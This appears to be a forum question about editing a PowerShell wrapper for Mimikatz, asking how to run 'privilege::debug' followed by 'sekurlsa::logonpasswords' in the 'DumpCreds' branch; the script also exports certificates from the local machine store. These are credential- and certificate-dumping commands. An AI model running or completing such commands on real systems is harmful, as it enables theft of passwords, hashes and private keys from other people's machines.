I'm looking to modify the below powershell script to do two things on an if statement:
if ($PsCmdlet.ParameterSetName -ieq "DumpCreds")
{
$ExeArgs = "privilege::debug"
}
elseif ($PsCmdlet.ParameterSetName -ieq "DumpCerts")
{
$ExeArgs = "crypto::cng crypto::capi `"crypto::certificates /export`" `"crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`" exit"
}
else
{
$ExeArgs = $Command
}`
The line where it reads - $exeargs = "privilege::debug", I need run that and I also need to run - $ExeArgs = "sekurlsa::logonpasswords" The privilege one needs to run first followed by the logonpasswords one.
How do I run 2 commands in 1 if statement in a powershell script?
$ExeArgstwice in one if block? What would that achieve?$ExeArgs = ' "privilege::debug" "sekurlsa::logonpasswords" '?